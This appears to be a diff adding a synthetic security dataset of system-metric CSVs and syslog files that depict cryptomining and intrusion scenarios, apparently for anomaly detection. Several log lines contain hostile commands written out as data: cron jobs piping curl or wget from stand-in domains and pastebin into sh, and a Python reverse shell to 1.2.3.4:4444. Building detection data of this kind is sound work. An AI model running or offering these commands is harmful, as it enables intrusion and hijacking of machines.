+ "2025-08-17T11:05:15Z,99.2,38.13,2.5,0.94,4.58"
67
+ "2025-08-17T11:05:20Z,99.71,38.17,2.9,1.03,4.50"
68
+ "2025-08-17T11:05:25Z,99.4,38.14,2.6,0.95,4.62"
69
+ "2025-08-17T11:05:30Z,99.84,38.20,3.0,1.05,4.55"
70
+ "2025-08-17T11:05:35Z,99.11,38.15,2.4,0.96,4.67"
71
+ "2025-08-17T11:05:40Z,99.75,38.19,2.8,1.04,4.59"
72
+ "2al,99.29,38.16,2.5,0.97,4.71"
73
+ "2025-08-17T11:05:50Z,99.87,38.22,2.9,1.06,4.63"
74
+ "2025-08-17T11:05:55Z,99.19,38.17,2.3,0.98,4.75"
75
+ "2025-08-17T11:06:00Z,99.81,38.21,2.7,1.07,4.68"
76
+ "2025-08-17T11:06:05Z,99.31,38.18,2.4,0.99,4.80"
77
+ "2025-08-17T11:06:10Z,99.79,38.23,2.8,1.09,4.72"
78
+ "2025-08-17T11:06:15Z,99.24,38.19,2.2,1.00,4.84"
79
+ "2025-08-17T11:06:20Z,99.83,38.24,2.6,1.08,4.76"
80
+ "2025-08-17T11:06:25Z,99.37,38.20,2.3,1.01,4.88"
81
+ "2025-08-17T11:06:30Z,99.85,38.26,2.7,1.10,4.81"
82
+ "2025-08-17T11:06:35Z,99.28,38.22,2.1,1.02,4.92"
83
+ "2025-08-17T11:06:40Z,99.77,38.25,2.5,1.11,4.85"
84
+ "2025-08-17T11:06:45Z,99.43,38.21,2.2,1.03,4.97"
85
+ "2025-08-17T11:06:50Z,99.89,38.28,2.6,1.13,4.89"
86
+ "2025-08-17T11:06:55Z,99.3,38.23,2.0,1.04,5.01"
87
+ "2025-08-17T11:07:00Z,99.8,38.27,2.4,1.12,4.93"
88
+ "2025-08-17T11:07:05Z,99.48,38.24,2.1,1.05,5.05"
89
+ "2025-08-17T11:07:10Z,99.91,38.30,2.5,1.14,4.98"
90
+ "2025-08-17T11:07:15Z,99.35,38.26,1.9,1.06,5.10"
91
+ "2025-08-17T11:07:20Z,99.88,38.29,2.3,1.15,5.03"
92
+ "2025-08-17T11:07:25Z,99.42,38.27,2.0,1.07,5.15"
mali_dataset/scenario_1/mali_1_24.log ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Aug 17 11:00:01 systemd[1]: Starting Login Service...
2
+ Aug 17 11:00:03 systemd[1]: Started Login Service.
3
+ Aug 17 11:00:05 CRON[3102]: (root) CMD ( /usr/lib/apt/apt.systemd.daily)
4
+ Aug 17 11:00:35 sshd[3120]: Server listening on 0.0.0.0 port 22.
5
+ Aug 17 11:00:41 sshd[3120]: Server listening on :: port 22.
6
+ Aug 17 11:00:50 CRON[3155]: (www-data) CMD (cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1)
7
+ Aug 17 11:00:52 php[3156]: Running scheduled command: "GET http://suspicious-domain.net/payload.php"
8
+ Aug 17 11:00:58 php[3156]: Payload downloaded and executed. Process created with PID 3160.
9
+ Aug 17 11:01:05 kthreadd[3160]: Initializing connection to pool.xmr.com:4444
10
+ Aug 17 11:01:12 kthreadd[3160]: Connection established. Starting worker threads.
11
+ Aug 17 11:01:18 kthreadd[3160]: CPU mining threads started.
12
+ Aug 17 11:02:20 systemd[1]: Started User Manager for UID 1000.
13
+ Aug 17 11:03:01 sshd[3251]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.0.2.15 user=root
14
+ Aug 17 11:04:15 ntpd[1052]: Soliciting pool server 192.168.1.1
15
+ Aug 17 11:05:45 kernel: [ 345.678910] usb 1-1: new high-speed USB device number 2 using xhci_hcd
16
+ Aug 17 11:07:01 systemd[1]: session-1.scope: Succeeded.
mali_dataset/scenario_1/mali_1_3.csv ADDED
@@ -0,0 +1,91 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out
2
+ 2025-08-17T17:00:00Z,12.42,40.93,24.54,0.78,1.72
3
+ 2025-08-17T17:00:05Z,13.66,44.34,25.89,1.27,0.81
4
+ 2025-08-17T17:00:10Z,10.41,44.09,25.46,0.97,1.45
5
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6
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7
+ 2025-08-17T17:00:25Z,10.69,45.24,21.08,0.65,1.54
8
+ 2025-08-17T17:00:30Z,14.81,44.86,21.17,1.35,1.76
9
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10
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11
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12
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13
+ 2025-08-17T17:00:55Z,13.25,36.12,28.51,0.9,1.56
14
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15
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16
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17
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18
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19
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20
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21
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22
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23
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24
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25
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26
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27
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28
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29
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30
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31
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32
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34
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35
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36
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37
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50
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53
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54
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55
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56
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57
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58
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59
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62
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63
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67
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68
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69
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70
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71
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72
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73
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74
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76
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77
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78
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80
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81
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82
+ 2025-08-17T17:06:40Z,99.15,45.62,11.3,0.39,4.06
83
+ 2025-08-17T17:06:45Z,95.53,42.06,5.96,0.64,2.81
84
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85
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86
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87
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88
+ 2025-08-17T17:07:10Z,99.35,47.78,11.78,0.42,4.07
89
+ 2025-08-17T17:07:15Z,96.0,41.95,10.37,0.28,4.4
90
+ 2025-08-17T17:07:20Z,97.66,44.02,14.14,0.63,4.23
91
+ 2025-08-17T17:07:25Z,99.85,45.33,12.27,0.53,2.63
mali_dataset/scenario_1/mali_1_3.log ADDED
@@ -0,0 +1,9 @@
 
 
 
 
 
 
 
 
 
 
1
+ Aug 17 17:00:10 systemd[1]: Started session for user monitoring.
2
+ Aug 17 17:00:25 sshd[13579]: Accepted publickey for admin from 10.0.3.8 port 64321 ssh2
3
+ Aug 17 17:02:10 CRON[23141]: (admin) CMD ((curl -fsSL https://pastebin.com/raw/aBcDeF12 || wget -qO- https://pastebin.com/raw/aBcDeF12)|sh)
4
+ Aug 17 17:02:45 systemd[1]: Starting bioset.service...
5
+ Aug 17 17:03:00 systemd[1]: Started bioset.service.
6
+ Aug 17 17:03:15 bioset[21345]: Process started with high priority.
7
+ Aug 17 17:04:10 kubelet[1234]: INFO routine sync completed for pod some-app
8
+ Aug 17 17:05:40 systemd[1]: session-6.scope: Succeeded.
9
+ Aug 17 17:07:05 kubelet[1234]: INFO routine sync completed for pod some-app
mali_dataset/scenario_1/mali_1_4.csv ADDED
@@ -0,0 +1,91 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out
2
+ 2025-08-17T20:00:00Z,18.9,35.39,17.36,1.32,1.1
3
+ 2025-08-17T20:00:05Z,18.08,36.46,29.91,0.76,1.33
4
+ 2025-08-17T20:00:10Z,14.11,38.37,23.28,1.28,1.28
5
+ 2025-08-17T20:00:15Z,14.07,40.25,27.66,1.37,1.25
6
+ 2025-08-17T20:00:20Z,18.31,42.14,20.15,1.43,1.06
7
+ 2025-08-17T20:00:25Z,17.37,44.42,15.43,0.86,1.23
8
+ 2025-08-17T20:00:30Z,13.61,35.76,17.79,1.09,1.04
9
+ 2025-08-17T20:00:35Z,13.36,35.89,24.77,0.9,1.18
10
+ 2025-08-17T20:00:40Z,14.84,40.0,21.75,0.89,1.07
11
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12
+ 2025-08-17T20:00:50Z,12.68,36.97,29.91,1.04,1.19
13
+ 2025-08-17T20:00:55Z,11.04,37.11,15.24,1.25,1.46
14
+ 2025-08-17T20:01:00Z,13.6,36.82,22.75,1.4,1.14
15
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16
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17
+ 2025-08-17T20:01:15Z,18.05,36.21,28.21,0.86,1.61
18
+ 2025-08-17T20:01:20Z,15.77,44.46,17.95,0.85,0.96
19
+ 2025-08-17T20:01:25Z,18.54,38.57,26.98,0.66,1.21
20
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21
+ 2025-08-17T20:01:35Z,14.72,44.52,29.01,1.42,1.39
22
+ 2025-08-17T20:01:40Z,12.91,44.15,22.34,1.04,1.8
23
+ 2025-08-17T20:01:45Z,14.63,36.82,22.0,0.91,1.19
24
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25
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26
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27
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28
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29
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31
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32
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33
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34
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35
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36
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38
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39
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40
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41
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42
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54
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55
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63
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64
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67
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68
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69
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70
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73
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77
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78
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79
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80
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81
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82
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83
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84
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85
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86
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87
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88
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89
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90
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91
+ 2025-08-17T20:07:25Z,97.08,40.31,10.29,0.31,3.02
mali_dataset/scenario_1/mali_1_4.log ADDED
@@ -0,0 +1,9 @@
 
 
 
 
 
 
 
 
 
 
1
+ Aug 17 20:00:10 systemd[1]: Started session for user monitoring.
2
+ Aug 17 20:00:25 sshd[13579]: Accepted publickey for admin from 10.0.3.8 port 64321 ssh2
3
+ Aug 17 20:02:10 CRON[19876]: (root) CMD (/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
4
+ Aug 17 20:02:45 systemd[1]: Starting systemd-resolve.service...
5
+ Aug 17 20:03:00 systemd[1]: Started systemd-resolve.service.
6
+ Aug 17 20:03:15 systemd-resolve[21345]: Process started with high priority.
7
+ Aug 17 20:04:10 kubelet[1234]: INFO routine sync completed for pod some-app
8
+ Aug 17 20:05:40 systemd[1]: session-6.scope: Succeeded.
9
+ Aug 17 20:07:05 kubelet[1234]: INFO routine sync completed for pod some-app
mali_dataset/scenario_1/mali_1_5.csv ADDED
@@ -0,0 +1,91 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out
2
+ 2025-08-15T10:00:00Z,21.38,38.5,21.49,1.46,1.66
3
+ 2025-08-15T10:00:05Z,24.64,41.06,28.25,0.71,1.13
4
+ 2025-08-15T10:00:10Z,20.2,40.11,31.15,1.4,1.1
5
+ 2025-08-15T10:00:15Z,21.71,39.88,31.62,1.07,1.56
6
+ 2025-08-15T10:00:20Z,19.25,39.24,32.05,1.27,1.43
7
+ 2025-08-15T10:00:25Z,17.01,38.26,33.77,0.82,1.65
8
+ 2025-08-15T10:00:30Z,22.35,41.72,27.93,0.88,1.73
9
+ 2025-08-15T10:00:35Z,19.38,38.06,21.07,1.0,1.78
10
+ 2025-08-15T10:00:40Z,23.5,40.55,29.91,1.11,1.22
11
+ 2025-08-15T10:00:45Z,18.45,39.71,31.31,1.47,1.04
12
+ 2025-08-15T10:00:50Z,18.11,38.32,27.35,1.3,1.19
13
+ 2025-08-15T10:00:55Z,18.05,41.28,27.06,0.96,1.65
14
+ 2025-08-15T10:01:00Z,16.03,40.84,20.37,1.29,1.56
15
+ 2025-08-15T10:01:05Z,22.43,38.94,21.96,1.05,1.01
16
+ 2025-08-15T10:01:10Z,17.02,38.71,22.47,0.69,1.28
17
+ 2025-08-15T10:01:15Z,16.9,41.28,21.71,1.1,1.6
18
+ 2025-08-15T10:01:20Z,17.95,38.73,20.22,1.14,1.07
19
+ 2025-08-15T10:01:25Z,20.47,38.2,25.44,1.05,1.06
20
+ 2025-08-15T10:01:30Z,15.87,40.42,21.29,0.95,1.23
21
+ 2025-08-15T10:01:35Z,17.51,38.67,29.28,1.25,1.25
22
+ 2025-08-15T10:01:40Z,19.22,39.33,20.63,0.73,1.25
23
+ 2025-08-15T10:01:45Z,17.57,38.21,30.64,0.9,0.87
24
+ 2025-08-15T10:01:50Z,20.64,41.9,23.82,0.56,1.16
25
+ 2025-08-15T10:01:55Z,17.16,40.99,20.99,0.91,1.33
26
+ 2025-08-15T10:02:00Z,19.51,40.62,21.52,0.7,1.39
27
+ 2025-08-15T10:02:05Z,17.46,40.15,24.34,0.94,0.91
28
+ 2025-08-15T10:02:10Z,23.7,40.13,22.71,0.52,1.49
29
+ 2025-08-15T10:02:15Z,20.35,38.15,20.96,1.47,1.76
30
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31
+ 2025-08-15T10:02:25Z,18.49,41.91,33.91,1.19,0.89
32
+ 2025-08-15T10:02:30Z,26.46,41.53,9.38,0.48,2.35
33
+ 2025-08-15T10:02:35Z,26.06,42.08,12.04,0.75,2.08
34
+ 2025-08-15T10:02:40Z,30.79,40.34,8.15,0.25,2.31
35
+ 2025-08-15T10:02:45Z,31.21,40.41,6.73,0.35,2.9
36
+ 2025-08-15T10:02:50Z,33.21,44.75,13.44,0.6,2.33
37
+ 2025-08-15T10:02:55Z,36.56,43.85,12.15,0.75,2.33
38
+ 2025-08-15T10:03:00Z,39.42,40.3,10.44,0.47,2.19
39
+ 2025-08-15T10:03:05Z,43.02,43.16,8.08,0.2,2.23
40
+ 2025-08-15T10:03:10Z,42.69,41.79,10.92,0.26,2.38
41
+ 2025-08-15T10:03:15Z,47.88,40.53,9.81,0.34,2.94
42
+ 2025-08-15T10:03:20Z,47.75,43.22,7.91,0.4,2.82
43
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44
+ 2025-08-15T10:03:30Z,53.92,42.49,5.6,0.6,2.27
45
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46
+ 2025-08-15T10:03:40Z,58.86,44.05,14.78,0.79,2.68
47
+ 2025-08-15T10:03:45Z,59.9,43.59,8.06,0.55,2.66
48
+ 2025-08-15T10:03:50Z,65.22,40.73,6.67,0.73,2.8
49
+ 2025-08-15T10:03:55Z,64.26,41.15,9.2,0.41,2.38
50
+ 2025-08-15T10:04:00Z,70.14,40.72,9.6,0.39,2.82
51
+ 2025-08-15T10:04:05Z,70.49,41.11,11.39,0.7,2.44
52
+ 2025-08-15T10:04:10Z,71.59,41.81,12.2,0.27,2.31
53
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54
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55
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56
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57
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58
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59
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60
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61
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62
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63
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64
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65
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66
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67
+ 2025-08-15T10:05:25Z,95.67,43.16,9.47,0.41,2.94
68
+ 2025-08-15T10:05:30Z,99.95,44.59,7.18,0.48,2.53
69
+ 2025-08-15T10:05:35Z,97.12,42.1,6.31,0.27,2.6
70
+ 2025-08-15T10:05:40Z,99.96,42.82,9.29,0.23,3.2
71
+ 2025-08-15T10:05:45Z,98.38,44.63,7.97,0.39,2.42
72
+ 2025-08-15T10:05:50Z,98.47,45.11,8.41,0.42,2.5
73
+ 2025-08-15T10:05:55Z,98.7,45.2,7.39,0.44,2.23
74
+ 2025-08-15T10:06:00Z,95.96,44.72,9.98,0.28,2.25
75
+ 2025-08-15T10:06:05Z,96.63,42.58,5.32,0.51,2.74
76
+ 2025-08-15T10:06:10Z,98.71,42.05,7.65,0.38,2.69
77
+ 2025-08-15T10:06:15Z,96.16,45.35,5.25,0.28,2.35
78
+ 2025-08-15T10:06:20Z,95.09,44.91,7.94,0.3,2.35
79
+ 2025-08-15T10:06:25Z,96.72,45.36,5.96,0.44,2.9
80
+ 2025-08-15T10:06:30Z,99.03,43.57,8.45,0.5,2.66
81
+ 2025-08-15T10:06:35Z,99.88,42.06,6.89,0.43,2.25
82
+ 2025-08-15T10:06:40Z,97.64,43.72,9.32,0.34,2.93
83
+ 2025-08-15T10:06:45Z,97.02,43.27,8.93,0.31,2.76
84
+ 2025-08-15T10:06:50Z,97.67,45.98,7.96,0.26,2.39
85
+ 2025-08-15T10:06:55Z,97.91,42.71,9.85,0.41,2.74
86
+ 2025-08-15T10:07:00Z,96.43,43.04,7.57,0.34,2.66
87
+ 2025-08-15T10:07:05Z,97.34,45.64,9.23,0.42,2.71
88
+ 2025-08-15T10:07:10Z,98.64,44.46,8.68,0.47,3.19
89
+ 2025-08-15T10:07:15Z,98.62,42.69,7.76,0.56,2.39
90
+ 2025-08-15T10:07:20Z,96.18,42.97,7.29,0.4,3.07
91
+ 2025-08-15T10:07:25Z,99.48,43.23,8.89,0.49,2.49
mali_dataset/scenario_1/mali_1_5.log ADDED
@@ -0,0 +1,15 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Aug 15 10:00:05 systemd[1]: Started Session 5 of user admin.
2
+ Aug 15 10:00:15 sshd[11532]: Accepted publickey for admin from 10.0.2.5 port 54321 ssh2
3
+ Aug 15 10:00:40 cron[11590]: (root) CMD ( /usr/lib/apt/apt.systemd.daily)
4
+ Aug 15 10:01:15 kubelet[1234]: INFO Successfully probed container metrics-server
5
+ Aug 15 10:01:40 nginx[5432]: GET /healthz HTTP/1.1 200 OK
6
+ Aug 15 10:02:05 CRON[18231]: (admin) CMD (curl -s http://some-shady-domain.com/setup.sh | bash)
7
+ Aug 15 10:02:25 setup.sh[18235]: downloading required binaries...
8
+ Aug 15 10:02:40 setup.sh[18235]: setting up persistence via systemd timer
9
+ Aug 15 10:02:55 systemd[1]: Started custom-updater.service.
10
+ Aug 15 10:03:10 custom-updater[18250]: Starting crypto-miner process.
11
+ Aug 15 10:03:45 kubelet[1234]: INFO routine sync completed for pod api-gateway
12
+ Aug 15 10:04:35 kubelet[1234]: INFO routine sync completed for pod api-gateway
13
+ Aug 15 10:05:25 systemd[1]: session-5.scope: Succeeded.
14
+ Aug 15 10:06:15 kubelet[1234]: INFO routine sync completed for pod api-gateway
15
+ Aug 15 10:07:05 kubelet[1234]: INFO routine sync completed for pod api-gateway
mali_dataset/scenario_1/mali_1_6.csv ADDED
@@ -0,0 +1,91 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out
2
+ 2025-08-17T14:00:00Z,11.84,38.55,23.45,1.1,1.13
3
+ 2025-08-17T14:00:05Z,14.2,43.49,22.24,1.37,1.27
4
+ 2025-08-17T14:00:10Z,18.11,37.39,24.7,0.81,1.6
5
+ 2025-08-17T14:00:15Z,13.6,40.62,21.63,1.38,1.66
6
+ 2025-08-17T14:00:20Z,13.86,40.0,19.9,1.24,0.94
7
+ 2025-08-17T14:00:25Z,19.74,35.94,20.68,0.57,1.2
8
+ 2025-08-17T14:00:30Z,10.72,44.72,16.35,0.91,1.61
9
+ 2025-08-17T14:00:35Z,10.41,44.43,15.45,1.14,1.47
10
+ 2025-08-17T14:00:40Z,17.65,42.15,29.15,0.52,1.74
11
+ 2025-08-17T14:00:45Z,15.9,42.11,24.27,0.67,1.76
12
+ 2025-08-17T14:00:50Z,18.2,42.2,21.37,0.51,1.45
13
+ 2025-08-17T14:00:55Z,14.11,39.31,20.04,0.82,1.11
14
+ 2025-08-17T14:01:00Z,19.23,37.57,23.62,1.43,1.71
15
+ 2025-08-17T14:01:05Z,18.83,38.5,17.84,0.9,1.21
16
+ 2025-08-17T14:01:10Z,12.42,38.16,16.4,0.64,1.66
17
+ 2025-08-17T14:01:15Z,16.61,36.25,17.75,0.94,1.04
18
+ 2025-08-17T14:01:20Z,11.77,39.2,23.82,1.36,1.11
19
+ 2025-08-17T14:01:25Z,11.8,44.88,23.96,0.86,1.53
20
+ 2025-08-17T14:01:30Z,10.9,45.25,24.23,0.62,0.93
21
+ 2025-08-17T14:01:35Z,15.63,38.6,26.73,1.22,1.16
22
+ 2025-08-17T14:01:40Z,17.32,45.81,25.79,0.69,0.96
23
+ 2025-08-17T14:01:45Z,13.41,40.92,26.76,0.87,1.15
24
+ 2025-08-17T14:01:50Z,11.66,44.58,15.88,0.66,1.24
25
+ 2025-08-17T14:01:55Z,12.55,39.04,28.54,1.35,1.76
26
+ 2025-08-17T14:02:00Z,15.4,41.12,17.5,0.87,1.2
27
+ 2025-08-17T14:02:05Z,11.5,41.55,24.66,0.99,1.22
28
+ 2025-08-17T14:02:10Z,14.82,41.18,18.28,1.07,0.88
29
+ 2025-08-17T14:02:15Z,18.26,39.27,15.46,0.81,0.88
30
+ 2025-08-17T14:02:20Z,18.06,38.96,24.94,0.56,1.06
31
+ 2025-08-17T14:02:25Z,13.61,44.76,16.52,0.78,1.66
32
+ 2025-08-17T14:02:30Z,18.94,37.35,13.38,0.34,2.6
33
+ 2025-08-17T14:02:35Z,23.64,38.0,11.52,0.35,3.05
34
+ 2025-08-17T14:02:40Z,24.72,41.13,12.85,0.35,3.76
35
+ 2025-08-17T14:02:45Z,26.26,39.52,8.21,0.3,3.08
36
+ 2025-08-17T14:02:50Z,31.38,45.72,11.36,0.66,3.25
37
+ 2025-08-17T14:02:55Z,33.64,39.78,7.4,0.6,3.19
38
+ 2025-08-17T14:03:00Z,37.0,40.06,13.71,0.41,3.73
39
+ 2025-08-17T14:03:05Z,36.26,37.34,14.96,0.45,2.66
40
+ 2025-08-17T14:03:10Z,41.92,42.44,6.34,0.3,4.47
41
+ 2025-08-17T14:03:15Z,42.96,45.68,7.68,0.63,3.58
42
+ 2025-08-17T14:03:20Z,47.14,46.83,14.91,0.23,3.64
43
+ 2025-08-17T14:03:25Z,47.18,40.63,7.55,0.56,3.57
44
+ 2025-08-17T14:03:30Z,49.28,38.46,8.63,0.42,3.24
45
+ 2025-08-17T14:03:35Z,52.09,37.42,5.38,0.77,4.07
46
+ 2025-08-17T14:03:40Z,56.77,44.98,5.63,0.22,2.55
47
+ 2025-08-17T14:03:45Z,60.42,42.78,5.05,0.61,3.46
48
+ 2025-08-17T14:03:50Z,61.09,38.09,8.02,0.63,2.61
49
+ 2025-08-17T14:03:55Z,65.94,45.03,10.6,0.3,2.61
50
+ 2025-08-17T14:04:00Z,66.72,39.16,10.59,0.3,2.71
51
+ 2025-08-17T14:04:05Z,70.12,46.13,13.34,0.23,3.38
52
+ 2025-08-17T14:04:10Z,71.52,43.55,11.74,0.22,3.74
53
+ 2025-08-17T14:04:15Z,75.86,40.57,11.97,0.62,4.43
54
+ 2025-08-17T14:04:20Z,75.06,40.86,9.23,0.49,2.68
55
+ 2025-08-17T14:04:25Z,80.2,40.99,8.47,0.47,2.7
56
+ 2025-08-17T14:04:30Z,82.6,42.59,10.07,0.21,3.72
57
+ 2025-08-17T14:04:35Z,84.43,41.81,13.8,0.41,3.79
58
+ 2025-08-17T14:04:40Z,87.65,41.73,14.69,0.25,4.49
59
+ 2025-08-17T14:04:45Z,91.06,42.03,5.13,0.6,4.47
60
+ 2025-08-17T14:04:50Z,90.76,39.55,7.44,0.24,3.96
61
+ 2025-08-17T14:04:55Z,96.13,45.86,8.78,0.75,4.1
62
+ 2025-08-17T14:05:00Z,96.56,44.81,11.66,0.56,3.19
63
+ 2025-08-17T14:05:05Z,97.45,45.61,8.89,0.69,3.73
64
+ 2025-08-17T14:05:10Z,99.31,41.57,6.43,0.75,3.19
65
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66
+ 2025-08-17T14:05:20Z,97.42,44.13,11.69,0.25,3.11
67
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68
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69
+ 2025-08-17T14:05:35Z,99.81,48.16,5.73,0.31,2.66
70
+ 2025-08-17T14:05:40Z,95.69,48.11,6.05,0.28,3.58
71
+ 2025-08-17T14:05:45Z,95.21,42.84,7.91,0.23,3.88
72
+ 2025-08-17T14:05:50Z,95.29,40.92,8.7,0.21,3.15
73
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74
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75
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76
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77
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78
+ 2025-08-17T14:06:20Z,99.42,46.82,10.83,0.41,4.24
79
+ 2025-08-17T14:06:25Z,97.73,45.13,9.08,0.68,4.23
80
+ 2025-08-17T14:06:30Z,99.2,48.73,14.83,0.67,2.59
81
+ 2025-08-17T14:06:35Z,99.85,42.98,13.49,0.2,2.74
82
+ 2025-08-17T14:06:40Z,96.73,43.33,13.1,0.48,2.75
83
+ 2025-08-17T14:06:45Z,97.16,44.93,6.25,0.68,4.34
84
+ 2025-08-17T14:06:50Z,95.68,48.13,5.12,0.41,3.76
85
+ 2025-08-17T14:06:55Z,96.12,49.42,7.11,0.7,4.41
86
+ 2025-08-17T14:07:00Z,95.69,47.35,6.43,0.34,2.72
87
+ 2025-08-17T14:07:05Z,97.55,43.07,7.94,0.25,3.27
88
+ 2025-08-17T14:07:10Z,96.92,44.32,14.86,0.5,2.84
89
+ 2025-08-17T14:07:15Z,99.86,42.03,8.38,0.32,4.31
90
+ 2025-08-17T14:07:20Z,96.75,43.59,14.65,0.51,3.69
91
+ 2025-08-17T14:07:25Z,98.86,46.97,10.22,0.76,3.21
mali_dataset/scenario_1/mali_1_6.log ADDED
@@ -0,0 +1,9 @@
 
 
 
 
 
 
 
 
 
 
1
+ Aug 17 14:00:10 systemd[1]: Started session for user monitoring.
2
+ Aug 17 14:00:25 sshd[13579]: Accepted publickey for admin from 10.0.3.8 port 64321 ssh2
3
+ Aug 17 14:02:10 CRON[18231]: (www-data) CMD (wget -q -O - http://bad-distro.net/payload | sh)
4
+ Aug 17 14:02:45 systemd[1]: Starting kworkerds.service...
5
+ Aug 17 14:03:00 systemd[1]: Started kworkerds.service.
6
+ Aug 17 14:03:15 kworkerds[21345]: Process started with high priority.
7
+ Aug 17 14:04:10 kubelet[1234]: INFO routine sync completed for pod some-app
8
+ Aug 17 14:05:40 systemd[1]: session-6.scope: Succeeded.
9
+ Aug 17 14:07:05 kubelet[1234]: INFO routine sync completed for pod some-app
mali_dataset/scenario_1/mali_1_7.csv ADDED
@@ -0,0 +1,91 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out
2
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3
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mali_dataset/scenario_1/mali_1_7.log ADDED
@@ -0,0 +1,9 @@
 
 
 
 
 
 
 
 
 
 
1
+ Aug 17 17:00:10 systemd[1]: Started session for user monitoring.
2
+ Aug 17 17:00:25 sshd[13579]: Accepted publickey for admin from 10.0.3.8 port 64321 ssh2
3
+ Aug 17 17:02:10 CRON[23141]: (admin) CMD ((curl -fsSL https://pastebin.com/raw/aBcDeF12 || wget -qO- https://pastebin.com/raw/aBcDeF12)|sh)
4
+ Aug 17 17:02:45 systemd[1]: Starting bioset.service...
5
+ Aug 17 17:03:00 systemd[1]: Started bioset.service.
6
+ Aug 17 17:03:15 bioset[21345]: Process started with high priority.
7
+ Aug 17 17:04:10 kubelet[1234]: INFO routine sync completed for pod some-app
8
+ Aug 17 17:05:40 systemd[1]: session-6.scope: Succeeded.
9
+ Aug 17 17:07:05 kubelet[1234]: INFO routine sync completed for pod some-app
mali_dataset/scenario_1/mali_1_8.csv ADDED
@@ -0,0 +1,91 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out
2
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3
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4
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7
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91
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mali_dataset/scenario_1/mali_1_8.log ADDED
@@ -0,0 +1,9 @@
 
 
 
 
 
 
 
 
 
 
1
+ Aug 17 20:00:10 systemd[1]: Started session for user monitoring.
2
+ Aug 17 20:00:25 sshd[13579]: Accepted publickey for admin from 10.0.3.8 port 64321 ssh2
3
+ Aug 17 20:02:10 CRON[19876]: (root) CMD (/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
4
+ Aug 17 20:02:45 systemd[1]: Starting systemd-resolve.service...
5
+ Aug 17 20:03:00 systemd[1]: Started systemd-resolve.service.
6
+ Aug 17 20:03:15 systemd-resolve[21345]: Process started with high priority.
7
+ Aug 17 20:04:10 kubelet[1234]: INFO routine sync completed for pod some-app
8
+ Aug 17 20:05:40 systemd[1]: session-6.scope: Succeeded.
9
+ Aug 17 20:07:05 kubelet[1234]: INFO routine sync completed for pod some-app
mali_dataset/scenario_1/mali_1_9.csv ADDED
@@ -0,0 +1,79 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out
2
+ 2025-08-16T14:00:00Z,23.81,45.12,18.52,1.33,1.51
3
+ 2025-08-16T14:00:05Z,20.45,44.89,21.03,0.88,1.24
4
+ 2025-08-16T14:00:10Z,25.11,45.33,15.78,1.01,1.88
5
+ 2025-08-16T14:00:15Z,22.76,45.21,19.34,0.95,1.43
6
+ 2025-08-16T14:00:20Z,19.98,44.95,22.67,1.21,1.17
7
+ 2025-08-16T14:00:25Z,24.32,45.41,17.88,0.76,1.79
8
+ 2025-08-16T14:00:30Z,21.5,45.05,20.11,1.45,1.35
9
